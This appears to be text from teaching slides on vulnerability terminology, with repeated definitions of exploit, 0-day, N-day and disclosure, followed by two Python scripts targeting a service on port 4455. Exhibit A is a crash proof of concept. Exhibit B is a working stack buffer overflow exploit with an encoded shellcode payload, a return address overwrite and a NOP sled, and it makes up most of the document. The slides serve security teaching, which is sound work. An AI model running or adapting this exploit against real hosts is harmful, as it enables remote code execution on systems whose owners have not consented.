- **Exploit** - A weaponized (contains malicious payload) program that leverages a vulnerability to actualize a threat. Also weaponized PoC

- **0-day vulnerability*** - A vulnerability actively exploited in-the-wild before disclosed (*0 days* after disclosure) to the relevant software vendor. E.g CVE-2022-40684.

- **N-day vulnerability*** - A vulnerability actively exploited *N days* after public disclosure.

- **Disclosure** - The practice of reporting a vulnerability

Vulnerability Terminology Contd.

*** - Definitions may differ in other sources. Sometimes, the 'vulnerability' is replaced with 'exploit'**

Vulnerability Terminology Contd.

- **Exploit** - A weaponized (contains malicious payload) program that leverages a vulnerability to actualize a threat. Also weaponized PoC

- **0-day vulnerability*** - A vulnerability actively exploited in-the-wild before disclosed (*0 days* after disclosure) to the relevant software vendor. E.g CVE-2022-40684.

- **N-day vulnerability*** - A vulnerability actively exploited *N days* after public disclosure.

- **Disclosure** - The practice of reporting a vulnerability

*** - Definitions may differ in other sources. Sometimes, the 'vulnerability' is replaced with 'exploit'**

Vulnerability Terminology Contd.

```python
import sys, socket

if len(sys.argv) < 2:
  print "\nUsage: " + sys.argv[0] + " <HOST>\n"
  sys.exit()

cmd = "OVRFLW "
junk = "\x41" * 3000
end = "\r\n"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()
```

Exhibit A - Proof of Concept

```python
import sys, socket

if len(sys.argv) < 2:
  print "\nUsage: " + sys.argv[0] + " <HOST>\n"
  sys.exit()

payload = (
"\xdd\xc6\x89\xe7\xd9\x77\xf4\x58\x8d\x40\x3c\x89\xc3\x83\xc3"
"\x06\x31\xc9\x66\xb9\x5d\xff\x66\xf7\xd1\x0f\xb7\x13\x81\xeb"
"\xfe\xff\xff\xff\xff\x30\x5e\xc1\xe6\x10\xc1\xee\x10\x31\xd6"
"\x66\x89\x30\x8d\x40\x02\x49\x85\xc9\x0f\x85\xdd\xff\xff\xff"
"\x18\x7b\x72\x0c\x25\x8d\xe4\x93\xf0\x0c\x25\x8d\x84\x1a\x15"
"\x3d\xe5\xc9\x0f\x4a\x25\xb6\xb7\xe5\x84\x18\x31\x3d\xc5\xcd"
"\x8b\xaf\x7b\x1b\xf4\x32\x27\x93\x1a\x67\xf6\x1e\x07\x62\xd5"
"\x6a\xf7\xd9\xe5\xa0\x87\x3d\x7c\x8b\xf5\x2b\xcd\x01\xf7\xc7"
"\xc4\x53\x2e\x49\xf6\x16\xb5\xd8\x77\x69\xf7\xc6\x3c\x91\x6f"
"\x8a\xcd\x8c\xb5\xa5\xe4\x8b\x1b\xbd\x4a\x09\x25\x44\x16\xbc"
"\x8d\x31\xc5\x31\xe0\xbf\xf0\xc9\xfe\x4c\xc4\xca\x14\x91\x75"
"\x14\xe0\xcb\xc7\xf7\xfe\x18\xab\x40\x9f\xeb\xff\xcb\x20\x44"
"\x14\xea\x2f\x42\x64\x60\x30\xb1\x74\x23\x3d\x3a\x61\x4e\x94"
"\x7c\x62\x60\xea\x5c\x7f\xf1\x3f\x08\xd9\x6e\x7f\xf1\x57\x7f"
"\xaa\x5c\x20\xa5\x3f\x33\xdd\x7a\x27\x5a\xea\x8b\x4d\x7b\x27"
"\x5a\xc3\x4f\x19\x2b\x4f\x73\x43\x24\x19\xd4\x9a\x23\x13\x74"
"\x49\x94\xca\x63\x43\x1c\xa3\x9b\x15\x83\xbc\xc9\x34\xf1\x10"
"\xeb\x7c\x61\x22\xee\x78\xe9\x7c\x60\x99\x67\x9e\x83\x6c\x36"
"\xce\x0f\x07\x26\x18\x57\x31\xda\x82\xe6\x6c\x5b\xce\x94\x8a"
"\x93\xb0\x33\x3e\x21\x28\xc5\x7f\xe6\x56\x42\x45\xa1\x7f\x6f"
"\xb5\x15\x12\xf6\x4e\x99\xdf\x07\x4b\xa0\xac\x64\xb9\xc0\x0f"
"\x84\x90\x65\xb8\x4d\x4b\xa0\x80\xa3\xb8\x09\x1f\xf0\xd6\xf5"
"\xcc\x4f\x49\xbc\x80\xa3\xbd\x19\x21\xc7\x4c\x9c\x3b\xe6\xf4"
"\x4c\xac\xd2\x6d\xa0\x8b\x7c\xc4\xda\xca\xbd\x6b\x81\x11\x61"
"\x1a\x08\xc9\xd7\x79\xc7\x8f\xb5\x54\x28\xac\xfb\x89\xc9\x5c"
"\xa8\x57\x1b\xfc\xcc\xe5\xef\x44\x69\x93\xa6\xe5\xbc\xbb\xbc")

cmd = "OVRFLW "
#junk = "\x41" * 2029 + "\x83\x66\x62\x65" * 4 + "\x43" * (3000 - 2029 - 4)
junk = "\x41" * 1369 + "\x83\x66\x52\x56" + "\x90" * 16 + payload + "\x43" * (3000 - 1369 - 4 - len(payload) - 8)
end = "\r\n"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()
```

Exhibit B - Exploit